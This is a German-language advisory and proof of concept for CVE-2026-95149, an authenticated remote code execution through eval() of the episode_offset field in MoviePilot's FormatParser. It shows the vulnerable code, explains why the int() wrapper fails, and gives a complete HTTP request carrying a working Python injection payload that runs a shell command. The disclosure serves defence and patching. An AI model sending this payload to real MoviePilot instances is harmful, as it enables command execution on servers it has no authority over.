
Proof-of-Concept und Ursachenanalyse für CVE-2026-95149, eine authentifizierte RCE in MoviePilots FormatParser über eval()-Injection in episode_offset, mit HTTP-PoC und Details zur Behebung.
eval()-Injection in episode_offset (MoviePilot FormatParser)| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-95149 |
| Produkt | MoviePilot (jxxghp/MoviePilot) |
| Betroffene Versionen | <= v3.0.0 |
| Behoben in | v3-Branch — Commit 65b9c777de9194e40ba29dc17345afc5b4b4b0ba |
| Schweregrad | Hoch |
| Angriffsvektor | Remote, über die HTTP-API |
| Erforderliche Berechtigungen | Authentifizierter Verwaltungsbenutzer (Admin- oder Konto mit Verwaltungsrolle) |
| Benutzerinteraktion | Keine |
| Gemeldet | 2026-09-11 |
| Öffentliches Issue | jxxghp/MoviePilot#6644 |
FormatParser akzeptiert eine beliebige Zeichenkette und verzweigt nur danach, ob sie "EP" enthält — es wird nie
validiert, ob der Rest der Zeichenkette ein wohlgeformter arithmetischer Ausdruck ist:
elif "EP" in offset:
self.__offset = offset
Mehrere nachgelagerte Zweige bauen anschließend durch textuelle Substitution einen Python-Ausdruck und werten ihn direkt aus:
start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part
Der int(...)-Wrapper beschränkt nur den Rückgabewert des Ausdrucks; er verhindert keine Seiteneffekte, die
während der Auswertung auftreten. Jeder Funktionsaufruf, Import oder Attributzugriff, der in der Payload eingebettet
ist, wird daher ausgeführt, bevor der endgültige Wert in int umgewandelt wird.
Ein häufiger Gegenmaßnahmenversuch besteht darin, die Payload mit null zu multiplizieren, damit das arithmetische Ergebnis numerisch bleibt:
EP+__import__('os').system('touch /tmp/success')*0
Dies funktioniert weiterhin. Der Seiteneffekt (das Starten des Befehls) tritt während der Auswertung auf, lange
bevor die abschließende Addition in int umgewandelt wird, sodass der Angreifer sowohl Befehlsausführung als auch
einen Wert erhält, der die int()-Typüberprüfung besteht.
POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
{
"fileitem": {
"storage": "local",
"path": "/configured/media/file.mkv",
"type": "file",
"name": "file.mkv"
},
"episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}
Auf einer verwundbaren Instanz wird /tmp/success durch den MoviePilot-Dienstprozess erstellt. Wenn der API-Aufruf
nicht 200 zurückgibt, löst die int()-Umwandlung eine Ausnahme aus — aber der injizierte Befehl wurde bereits
ausgeführt, sodass das Ergebnis der Anfrage für den Exploit irrelevant ist.
app/application/formatting.py (Zeilen 102 und 184 in v3.0.0)app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302